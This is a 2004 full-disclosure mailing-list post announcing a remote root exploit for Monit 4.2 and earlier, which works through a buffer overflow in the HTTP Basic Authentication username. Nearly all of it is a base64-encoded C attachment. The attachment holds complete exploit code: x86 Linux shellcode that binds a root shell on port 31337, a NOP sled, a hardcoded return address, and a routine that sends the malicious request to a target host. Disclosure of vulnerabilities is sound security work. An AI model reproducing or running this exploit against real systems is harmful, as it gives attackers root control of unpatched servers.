Monit <= 4.2 Remote Root Exploit
Date: Mon, 12 Apr 2004 06:22:02 +0800
From: Eye on Security India <eos-india@linuxmail.org>
To: bugtraq@securityfocus.com
Subject: Monit <= 4.2 Remote Root Exploit
Cc: full-disclosure@lists.netsys.com
------------=_1081722122-5816-0
Content-Type: text/plain; charset="iso-8859-1"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
/*
* THE EYE ON SECURITY RESEARCH GROUP - INDIA
*
* http://www.eos-india.net/poc/305monit.c
* Remote Root Exploit for Monit <= 4.2
* Vulnerability: Buffer overflow in handling of Basic Authentication informations.
* Server authenticates clients through:
* Authentication: Basic Base64Encode[UserName:Password]
* Here we are exploiting the insecure handling of username in Basic Authentication information to return
* control (EIP) to our payload.
*
* Nilanjan De [n2n<at>linuxmail<dot>org] - Abhisek Datta [abhisek<at>front<dot>ru]
*
* 06.04.2004
* http://www.eos-india.net
*/
--
______________________________________________
Check out the latest SMS services @ http://www.linuxmail.org
This allows you to send and receive SMS through your mailbox.
Powered by Outblaze
------------=_1081722122-5816-0
Content-Type: application/octet-stream; name="305monit.c"
Content-Disposition: attachment; filename="305monit.c"
Content-Transfer-Encoding: base64
LyoNCiAqIFRIRSBFWUUgT04gU0VDVVJJVFkgUkVTRUFSQ0ggR1JPVVAgLSBJ
TkRJQQ0KICoNCiAqIGh0dHA6Ly93d3cuZW9zLWluZGlhLm5ldC9wb2MvMzA1
bW9uaXQuYw0KICogUmVtb3RlIFJvb3QgRXhwbG9pdCBmb3IgTW9uaXQgPD0g
NC4yDQogKiBWdWxuZXJhYmlsaXR5OiBCdWZmZXIgb3ZlcmZsb3cgaW4gaGFu
ZGxpbmcgb2YgQmFzaWMgQXV0aGVudGljYXRpb24gaW5mb3JtYXRpb25zLg0K
ICogU2VydmVyIGF1dGhlbnRpY2F0ZXMgY2xpZW50cyB0aHJvdWdoOg0KICog
QXV0aGVudGljYXRpb246IEJhc2ljIEJhc2U2NEVuY29kZVtVc2VyTmFtZTpQ
YXNzd29yZF0NCiAqIEhlcmUgd2UgYXJlIGV4cGxvaXRpbmcgdGhlIGluc2Vj
dXJlIGhhbmRsaW5nIG9mIHVzZXJuYW1lIGluIEJhc2ljIEF1dGhlbnRpY2F0
aW9uIGluZm9ybWF0aW9uIHRvIHJldHVybg0KICogY29udHJvbCAoRUlQKSB0
byBvdXIgcGF5bG9hZC4NCiAqDQogKiBOaWxhbmphbiBEZSBbbjJuPGF0Pmxp
bnV4bWFpbDxkb3Q+b3JnXSAtIEFiaGlzZWsgRGF0dGEgW2FiaGlzZWs8YXQ+
ZnJvbnQ8ZG90PnJ1XQ0KICoNCiAqIDA2LjA0LjIwMDQNCiAqIGh0dHA6Ly93
d3cuZW9zLWluZGlhLm5ldA0KKi8NCg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQoj
aW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5o
Pg0KI2luY2x1ZGUgPG5ldGRiLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQoN
CiNkZWZpbmUgCUJVRkZfU0laRQkyMDQ4DQojZGVmaW5lCQlQQURESU5HCQk0
MA0KI2RlZmluZQkJRVhQX1NJWkUJKDI1Nis0K1BBRERJTkcpDQojZGVmaW5l
IE1BWF9BUkNIIDINCnN0cnVjdCBlb3N7DQoJY2hhciAqYXJjaDsNCgl1bnNp
Z25lZCBsb25nIHJldDsNCn0gdGFyZ2V0c1tdID0gew0KCSJNb25pdC00LjIt
R2VudG9vIiwNCgkweGJmN2ZlZjAyLA0KCS8vLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLQ0KCSJNb25pdCA8PTQuMiBDcmFzaCIsDQoJMHhiYWRj
MGRlZCwNCglOVUxMLA0KCTANCn07DQovKg0KIHg4NiBsaW51eCBwb3J0Ymlu
ZCBhIHNoZWxsIGluIHBvcnQgMzEzMzcNCiBiYXNlZCBvbiBzaGVsbGNvZGUg
ZnJvbSB3d3cuc2hlbGxjb2RlLmNvbS5hcg0KIHdpdGggYSBmZXcgbW9kaWZp
Y2F0aW9ucyBieSB1cw0KKi8NCiANCmNoYXIgc2hlbGxjb2RlW109DQogICAg
ICAgIC8qIHN5c19mb3JrKCkgKi8NCgkiXHgzMVx4YzAiICAgICAgICAgICAg
ICAgICAgICAgIC8vIHhvcmwgICAgICAgICAlZWF4LCVlYXgNCgkiXHgzMVx4
ZGIiICAgICAgICAgICAgICAgICAgICAgIC8vIHhvcmwgICAgICAgICAlZWJ4
LCVlYngNCgkiXHhiMFx4MDIiICAgICAgICAgICAgICAgICAgICAgIC8vIG1v
dmIgICAgICAgICAkMHgyLCVhbA0KCSJceGNkXHg4MCIgICAgICAgICAgICAg
ICAgICAgICAgLy8gaW50ICAgICAgICAgICQweDgwDQoJIlx4MzhceGMzIiAg
ICAgICAgICAgICAgICAgICAgICAvLyBjbXBsICAgICAgICAgJWVieCwlZWF4
DQoJIlx4NzRceDA1IiAgICAgICAgICAgICAgICAgICAgICAvLyBqZSAgICAg
ICAgICAgMHg1DQoJLyogc3lzX2V4aXQoKSAqLw0KCSJceDhkXHg0M1x4MDEi
ICAgICAgICAgICAgICAgICAgLy8gbGVhbCAgICAgICAgIDB4MSglZWJ4KSwl
ZWF4DQoJIlx4Y2RceDgwIiAgICAgICAgICAgICAgICAgICAgICAvLyBpbnQg
ICAgICAgICAgJDB4ODANCiAgICAgICAgLyogc2V0dWlkKDApICovDQogICAg
ICAgICJceDMxXHhjMCIgICAgICAgICAgICAgICAgICAgICAgLy8geG9ybCAg
ICAgICAgICVlYXgsJWVheA0KICAgICAgICAiXHgzMVx4ZGIiICAgICAgICAg
ICAgICAgICAgICAgIC8vIHhvcmwgICAgICAgICAlZWJ4LCVlYngNCiAgICAg
ICAgIlx4YjBceDE3IiAgICAgICAgICAgICAgICAgICAgICAvLyBtb3ZiICAg
ICAgICAgJDB4MTcsJWFsDQogICAgICAgICJceGNkXHg4MCIgICAgICAgICAg
ICAgICAgICAgICAgLy8gaW50ICAgICAgICAgICQweDgwDQogICAgICAgIC8q
IHNvY2tldCgpICovDQogICAgICAgICJceDMxXHhjMCIgICAgICAgICAgICAg
ICAgICAgICAgLy8geG9ybCAgICAlZWF4LCVlYXgNCiAgICAgICAgIlx4ODlc
eDQ1XHgxMCIgICAgICAgICAgICAgICAgICAvLyBtb3ZsICAgICVlYXgsMHgx
MCglZWJwKShJUFBST1RPX0lQID0gMHgwKQ0KICAgICAgICAiXHg0MCIgICAg
ICAgICAgICAgICAgICAgICAgICAgIC8vIGluY2wgICAgJWVheA0KICAgICAg
ICAiXHg4OVx4YzMiICAgICAgICAgICAgICAgICAgICAgIC8vIG1vdmwgICAg
JWVheCwlZWJ4KFNZU19TT0NLRVQgPSAweDEpDQogICAgICAgICJceDg5XHg0
NVx4MGMiICAgICAgICAgICAgICAgICAgLy8gbW92bCAgICAlZWF4LDB4Yygl
ZWJwKShTT0NLX1NUUkVBTSA9IDB4MSkNCiAgICAgICAgIlx4NDAiICAgICAg
ICAgICAgICAgICAgICAgICAgICAvLyBpbmNsICAgICVlYXgNCiAgICAgICAg
Ilx4ODlceDQ1XHgwOCIgICAgICAgICAgICAgICAgICAvLyBtb3ZsICAgICVl
YXgsMHg4KCVlYnApKEFGX0lORVQgPSAweDIpDQoJIlx4OGRceDRkXHgwOCIg
ICAgICAgICAgICAgICAgICAvLyBsZWFsICAgIDB4OCglZWJwKSwlZWN4DQog
ICAgICAgICJceGIwXHg2NiIgICAgICAgICAgICAgICAgICAgICAgLy8gbW92
YiAgICAkMHg2NiwlYWwNCiAgICAgICAgIlx4Y2RceDgwIiAgICAgICAgICAg
ICAgICAgICAgICAvLyBpbnQgICAgICQweDgwDQogICAgICAgICJceDg5XHg0
NVx4MDgiICAgICAgICAgICAgICAgICAgLy8gbW92bCAgICAlZWF4LDB4OCgl
ZWJwKQ0KDQogICAgICAgIC8qIGJpbmQoKSovDQogICAgICAgICJceDQzIiAg
ICAgICAgICAgICAgICAgICAgICAgICAgLy8gaW5jbCAgICAlZWJ4KFNZU19C
SU5EID0gMHgyKQ0KICAgICAgICAiXHg2Nlx4ODlceDVkXHgxNCIgICAgICAg
ICAgICAgIC8vIG1vdncgICAgJWJ4LDB4MTQoJWVicCkoQUZfSU5FVCA9IDB4
MikNCgkiXHg2Nlx4YzdceDQ1XHgxNlx4N2FceDY5IiAgICAgIC8vIG1vdncg
ICAgJDB4Njk3YSwweDE2KCVlYnApKHBvcnQ9MzEzMzcpDQogICAgICAgICJc
eDMxXHhkMiIgICAgICAgICAgICAgICAgICAgICAgLy8geG9ybCAgICAlZWR4
LCVlZHgNCiAgICAgICAgIlx4ODlceDU1XHgxOCIgICAgICAgICAgICAgICAg
ICAvLyBtb3ZsICAgICVlZHgsMHgxOCglZWJwKQ0KICAgICAgICAiXHg4ZFx4
NTVceDE0IiAgICAgICAgICAgICAgICAgIC8vIGxlYWwgICAgMHgxNCglZWJw
KSwlZWR4DQogICAgICAgICJceDg5XHg1NVx4MGMiICAgICAgICAgICAgICAg
ICAgLy8gbW92bCAgICAlZWR4LDB4YyglZWJwKQ0KICAgICAgICAiXHhjNlx4
NDVceDEwXHgxMCIgICAgICAgICAgICAgIC8vIG1vdmIgICAgJDB4MTAsMHgx
MCglZWJwKShzaXplb2Yoc3RydWN0IHNvY2thZGRyKSA9IDEwaCA9IDE2KQ0K
ICAgICAgICAiXHhiMFx4NjYiICAgICAgICAgICAgICAgICAgICAgIC8vIG1v
dmIgICAgJDB4NjYsJWFsDQogICAgICAgICJceGNkXHg4MCIgICAgICAgICAg
ICAgICAgICAgICAgLy8gaW50ICAgICAkMHg4MA0KIA0KICAgICAgICAvKiBs
aXN0ZW4oKSAqLw0KICAgICAgICAiXHg0MCIgICAgICAgICAgICAgICAgICAg
ICAgICAgIC8vIGluY2wgICAgJWVheA0KICAgICAgICAiXHg4OVx4NDVceDBj
IiAgICAgICAgICAgICAgICAgIC8vIG1vdmwgICAgJWVheCwweGMoJWVicCkN
CiAgICAgICAgIlx4NDMiICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBp
bmNsICAgICVlYngNCiAgICAgICAgIlx4NDMiICAgICAgICAgICAgICAgICAg
ICAgICAgICAvLyBpbmNsICAgICVlYngoU1lTX0xJU1RFTiA9IDB4NCkNCiAg
ICAgICAgIlx4YjBceDY2IiAgICAgICAgICAgICAgICAgICAgICAvLyBtb3Zi
ICAgICQweDY2LCVhbA0KICAgICAgICAiXHhjZFx4ODAiICAgICAgICAgICAg
ICAgICAgICAgIC8vIGludCAgICAgJDB4ODANCiANCiAgICAgICAgLyogYWNj
ZXB0KCkgKi8NCiAgICAgICAgIlx4NDMiICAgICAgICAgICAgICAgICAgICAg
ICAgICAvLyBpbmNsICAgICVlYngNCiAgICAgICAgIlx4ODlceDQ1XHgwYyIg
ICAgICAgICAgICAgICAgICAvLyBtb3ZsICAgICVlYXgsMHhjKCVlYnApDQog
ICAgICAgICJceDg5XHg0NVx4MTAiICAgICAgICAgICAgICAgICAgLy8gbW92
bCAgICAlZWF4LDB4MTAoJWVicCkNCiAgICAgICAgIlx4YjBceDY2IiAgICAg
ICAgICAgICAgICAgICAgICAvLyBtb3ZiICAgICQweDY2LCVhbA0KICAgICAg
ICAiXHhjZFx4ODAiICAgICAgICAgICAgICAgICAgICAgIC8vIGludCAgICAg
JDB4ODANCiAgICAgICAgIlx4ODlceGMzIiAgICAgICAgICAgICAgICAgICAg
ICAvLyBtb3ZsICAgICVlYXgsJWVieA0KIA0KICAgICAgICAvKiBkdXAyKCkg
Ki8NCiAgICAgICAgIlx4MzFceGM5IiAgICAgICAgICAgICAgICAgICAgICAv
LyB4b3JsICAgICVlY3gsJWVjeA0KICAgICAgICAiXHhiMFx4M2YiICAgICAg
ICAgICAgICAgICAgICAgIC8vIG1vdmIgICAgJDB4M2YsJWFsDQogICAgICAg
ICJceGNkXHg4MCIgICAgICAgICAgICAgICAgICAgICAgLy8gaW50ICAgICAk
MHg4MA0KICAgICAgICAiXHg0MSIgICAgICAgICAgICAgICAgICAgICAgICAg
IC8vIGluY2wgICAgJWVjeA0KICAgICAgICAiXHg4MFx4ZjlceDAzIiAgICAg
ICAgICAgICAgICAgIC8vIGNtcGIgICAgJDB4MywlY2wNCiAgICAgICAgIlx4
NzVceGY2IiAgICAgICAgICAgICAgICAgICAgICAvLyBqbmUgICAgIC0weGEN
CiANCiAgICAgICAgLyogZXhlY3ZlKCkgKi8NCiAgICAgICAgIlx4MzFceGQy
IiAgICAgICAgICAgICAgICAgICAgICAvLyB4b3JsICAgICVlZHgsJWVkeA0K
ICAgICAgICAiXHg1MiIgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIHB1
c2hsICAgJWVkeA0KICAgICAgICAiXHg2OFx4NmVceDJmXHg3M1x4NjgiICAg
ICAgICAgIC8vIHB1c2hsICAgJDB4Njg3MzJmNmUNCiAgICAgICAgIlx4Njhc
eDJmXHgyZlx4NjJceDY5IiAgICAgICAgICAvLyBwdXNobCAgICQweDY5NjIy
ZjJmDQogICAgICAgICJceDg5XHhlMyIgICAgICAgICAgICAgICAgICAgICAg
Ly8gbW92bCAgICAlZXNwLCVlYngNCiAgICAgICAgIlx4NTIiICAgICAgICAg
ICAgICAgICAgICAgICAgICAvLyBwdXNobCAgICVlZHgNCiAgICAgICAgIlx4
NTMiICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBwdXNobCAgICVlYngN
CiAgICAgICAgIlx4ODlceGUxIiAgICAgICAgICAgICAgICAgICAgICAvLyBt
b3ZsICAgICVlc3AsJWVjeA0KICAgICAgICAiXHhiMFx4MGIiICAgICAgICAg
ICAgICAgICAgICAgIC8vIG1vdmIgICAgJDB4YiwlYWwNCiAgICAgICAgIlx4
Y2RceDgwIjsgICAgICAgICAgICAgICAgICAgICAvLyBpbnQgICAgICQweDgw
DQoNCnZvaWQgc2hvd19oZWxwKGNoYXIgKnByMDBnaWUsdV9zaG9ydCBvcHQp
IHsNCglpbnQgaT0wOw0KCXByaW50ZigiPT09PT09PT09PT4gVEhFIEVZRSBP
TiBTRUNVUklUWSBSRVNFQVJDSCBHUk9VUCA8PT09PT09PT09PVxuIik7DQoJ
cHJpbnRmKCJNb25pdCA8PSA0LjIgUmVtb3RlIFJvb3QgRXhwbG9pdFxuIik7
DQoJcHJpbnRmKCJuMm5bYXRdbGludXhtYWlsW2RvdF1vcmcgLSBhYmhpc2Vr
W2F0XWZyb250W2RvdF1ydVxuIik7DQoJcHJpbnRmKCJodHRwOi8vd3d3LmVv
cy1pbmRpYS5uZXRcblxuIik7DQoJaWYoIW9wdCkNCgkJcmV0dXJuOw0KCXBy
aW50ZigiW3VzYWdlXVxuIik7DQoJcHJpbnRmKCIlcyBbUmVtb3RlIEhvc3Rd
IFtSZW1vdGUgUG9ydF0gW1RhcmdldF1cbiIscHIwMGdpZSk7DQoJcHJpbnRm
KCJbQXZhaWxhYmxlIFRhcmdldHNdXG4iKTsNCgl3aGlsZSh0YXJnZXRzW2ld
LmFyY2ggIT0gTlVMTCkgew0KCQlwcmludGYoIiVkLiAtICVzXHQgLSAlcFxu
IiwoaSksdGFyZ2V0c1tpXS5hcmNoLHRhcmdldHNbaV0ucmV0KTsJCQkJDQoJ
CWkrKzsNCgl9DQp9DQovKiBCYXNlIDY0IGNvZGUgcmlwcGVkIGZyb20gbW9u
aXQgc3JjICovDQovKioNCiAqIEJhc2U2NCBlbmNvZGUgb25lIGJ5dGUNCiAq
Lw0Kc3RhdGljIGNoYXIgZW5jb2RlKHVuc2lnbmVkIGNoYXIgdSkgew0KDQog
IGlmKHUgPCAyNikgIHJldHVybiAnQScrdTsNCiAgaWYodSA8IDUyKSAgcmV0
dXJuICdhJysodS0yNik7DQogIGlmKHUgPCA2MikgIHJldHVybiAnMCcrKHUt
NTIpOw0KICBpZih1ID09IDYyKSByZXR1cm4gJysnOw0KDQogIHJldHVybiAn
Lyc7DQoNCn0NCi8qKg0KICogQmFzZTY0IGVuY29kZSBhbmQgcmV0dXJuIHNp
emUgZGF0YSBpbiAnc3JjJy4gVGhlIGNhbGxlciBtdXN0IGZyZWUgdGhlDQog
KiByZXR1cm5lZCBzdHJpbmcuDQogKiBAcGFyYW0gc2l6ZSBUaGUgc2l6ZSBv
ZiB0aGUgZGF0YSBpbiBzcmMNCiAqIEBwYXJhbSBzcmMgVGhlIGRhdGEgdG8g
YmUgYmFzZTY0IGVuY29kZQ0KICogQHJldHVybiBlbmNvZGVkIHN0cmluZyBv
dGhlcndpc2UgTlVMTA0KICovDQpjaGFyICplbmNvZGVfYmFzZTY0KGludCBz
aXplLCB1bnNpZ25lZCBjaGFyICpzcmMpIHsNCg0KICBpbnQgaTsNCiAgY2hh
ciAqb3V0LCAqcDsNCg0KICBpZighc3JjKQ0KICAgIHJldHVybiBOVUxMOw0K
DQogIGlmKCFzaXplKQ0KICAgIHNpemU9IHN0cmxlbigoY2hhciAqKXNyYyk7
DQoNCiAgb3V0PSAoY2hhciAqKW1hbGxvYyhzaXplb2YoY2hhcikqc2l6ZSo0
LzMrNCk7DQoNCiAgcD0gb3V0Ow0KDQogIGZvcihpPTA7IGk8c2l6ZTsgaSs9
Mykgew0KDQogICAgdW5zaWduZWQgY2hhciBiMT0wLCBiMj0wLCBiMz0wLCBi
ND0wLCBiNT0wLCBiNj0wLCBiNz0wOw0KDQogICAgYjEgPSBzcmNbaV07DQoN
CiAgICBpZihpKzE8c2l6ZSkNCiAgICAgIGIyID0gc3JjW2krMV07DQoNCiAg
ICBpZihpKzI8c2l6ZSkNCiAgICAgIGIzID0gc3JjW2krMl07DQoNCiAgICBi
ND0gYjE+PjI7DQogICAgYjU9ICgoYjEmMHgzKTw8NCl8KGIyPj40KTsNCiAg
ICBiNj0gKChiMiYweGYpPDwyKXwoYjM+PjYpOw0KICAgIGI3PSBiMyYweDNm
Ow0KDQogICAgKnArKz0gZW5jb2RlKGI0KTsNCiAgICAqcCsrPSBlbmNvZGUo
YjUpOw0KDQogICAgaWYoaSsxPHNpemUpIHsNCiAgICAgICpwKys9IGVuY29k
ZShiNik7DQogICAgfSBlbHNlIHsNCiAgICAgICpwKys9ICc9JzsNCiAgICB9
DQoNCiAgICBpZihpKzI8c2l6ZSkgew0KICAgICAgKnArKz0gZW5jb2RlKGI3
KTsNCiAgICB9IGVsc2Ugew0KICAgICAgKnArKz0gJz0nOw0KICAgIH0NCg0K
ICB9DQoNCiAgcmV0dXJuIG91dDsNCg0KfQ0KDQoNCnZvaWQgbWFrZV9odHRw
X3JlcXVlc3QoY2hhciAqYnVmZixpbnQgc2l6ZSxjaGFyICpob3N0LHVuc2ln
bmVkIGxvbmcgKm1hZ2ljKSB7DQoJY2hhciAqZXhwX2J1ZmY7DQoJY2hhciAq
ZXhwX2J1ZmZfZW5jb2RlZDsNCglpbnQgaTsNCglpZiAoIShleHBfYnVmZj0o
Y2hhciopbWFsbG9jKEVYUF9TSVpFKSkpew0KCQlwZXJyb3IoIm1hbGxvYygp
Iik7DQoJCWV4aXQoMSk7DQoJfQ0KCQ0KCW1lbXNldChleHBfYnVmZiwweDkw
LEVYUF9TSVpFKTsNCglzdHJjcHkoZXhwX2J1ZmYrMjU2LXN0cmxlbihzaGVs
bGNvZGUpLHNoZWxsY29kZSk7DQoJZm9yKGk9MjU2O2k8RVhQX1NJWkUtNTtp
Kz00KQ0KCQltZW1jcHkoZXhwX2J1ZmYraSxtYWdpYyw0KTsNCglzdHJjcHko
ZXhwX2J1ZmYrRVhQX1NJWkUtNCwiOngiKTsNCglleHBfYnVmZl9lbmNvZGVk
PWVuY29kZV9iYXNlNjQoRVhQX1NJWkUsZXhwX2J1ZmYpOwkNCgltZW1zZXQo
YnVmZiwweDAwLHNpemUpOw0KCXNwcmludGYoYnVmZiwiR0VUIC8gSFRUUC8x
LjBcclxuIik7DQoJc3ByaW50ZihidWZmLCIlc0hvc3Q6ICVzXHJcbiIsYnVm
Zixob3N0KTsNCglzcHJpbnRmKGJ1ZmYsIiVzQXV0aG9yaXphdGlvbjogQmFz
aWMgJXNcclxuXHJcblxyXG4iLGJ1ZmYsZXhwX2J1ZmZfZW5jb2RlZCk7DQoJ
DQp9DQppbnQgbWFpbihpbnQgYXJnYyxjaGFyICphcmd2W10pIHsNCgljaGFy
ICpob3N0Ow0KCWNoYXIgKmI7DQoJaW50IHJwb3J0Ow0KCWludCBzb2NrZmQ7
DQoJc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCglzdHJ1Y3QgaG9zdGVudCAq
aDsNCgl1bnNpZ25lZCBpbnQgbjsNCgl1bnNpZ25lZCBsb25nIG1hZ2ljOw0K
CWlmKGFyZ2MgIT0gNCkgew0KCQlzaG93X2hlbHAoYXJndlswXSwxKTsNCgkJ
ZXhpdCgxKTsNCgl9DQoJaG9zdD1hcmd2WzFdOw0KCXJwb3J0PShhdG9pKGFy
Z3ZbMl0pKTsNCgluPWF0b2koYXJndlszXSk7DQoJaWYoKG4gPj0gTUFYX0FS
Q0gpfHwobjwwKSkgew0KCQlwcmludGYoIi0gSW52YWxpZCB0YXJnZXRcbiIp
Ow0KCQlzaG93X2hlbHAoYXJndlswXSwxKTsNCgkJZXhpdCgxKTsNCgkJfQ0K
CW1hZ2ljPXRhcmdldHNbbl0ucmV0Ow0KCXNob3dfaGVscChhcmd2WzBdLDAp
Ow0KCXByaW50ZigiLVVzaW5nIFJFVCAlcFxuIixtYWdpYyk7DQoJcHJpbnRm
KCJSZXNvbHZpbmcgJXNcdCIsaG9zdCk7DQoJaD1nZXRob3N0YnluYW1lKGhv
c3QpOw0KCWlmKCFoKSB7DQoJCXByaW50ZigiW0VSUk9SXVxuVW5hYmxlIHRv
IHJlc29sdmU6ICVzXG4iLGhvc3QpOw0KCQlleGl0KDEpOw0KCX0NCgllbHNl
DQoJcHJpbnRmKCJbRE9ORV1cbiIpOw0KCWI9KGNoYXIqKW1hbGxvYyhCVUZG
X1NJWkUpOw0KCWlmKCFiKSB7DQoJCXBlcnJvcigibWFsbG9jIik7DQoJCWV4
aXQoMSk7DQoJfQ0KCXNpbi5zaW5fYWRkcj0qKChzdHJ1Y3QgaW5fYWRkciop
aC0+aF9hZGRyKTsNCglzaW4uc2luX2ZhbWlseT1BRl9JTkVUOw0KCXNpbi5z
aW5fcG9ydD1odG9ucygodV9zaG9ydClycG9ydCk7DQoJaWYoKHNvY2tmZD1z
b2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSxJUFBST1RPX1RDUCkpPDApew0K
CQlwZXJyb3IoInNvY2tldCIpOw0KCQlleGl0KDEpOw0KCX0NCglwcmludGYo
IkNvbm5lY3RpbmcgdG8gJXM6JWRcdCIsaG9zdCxycG9ydCk7DQoJaWYoY29u
bmVjdChzb2NrZmQsKHN0cnVjdCBzb2NrYWRkciopJnNpbixzaXplb2Yoc2lu
KSk8MCkgew0KCQlwcmludGYoIltFUlJPUl1cblVuYWJsZSB0byBjb25uZWN0
OiAlczolZFxuIixob3N0LHJwb3J0KTsNCgkJcGVycm9yKCJjb25uZWN0Iik7
DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UNCglwcmludGYoIltET05FXVxuIik7
DQoJbWFrZV9odHRwX3JlcXVlc3QoYixCVUZGX1NJWkUsaG9zdCwmbWFnaWMp
Ow0KCWlmKHNlbmQoc29ja2ZkLGIsc3RybGVuKGIpLDApID09IHN0cmxlbihi
KSkNCgkJcHJpbnRmKCJTdWNjZXNzZnVsbHkgc2VuZCBleHBsb2l0IHN0cmlu
Z1xuIik7DQoJZWxzZQ0KCQlwcmludGYoIkZhaWxlZCBzZW5kaW5nIGV4cGxv
aXQgc3RyaW5nXG4iKTsNCgljbG9zZShzb2NrZmQpOw0KCXJldHVybiAwOw0K
fQ0K
------------=_1081722122-5816-0--
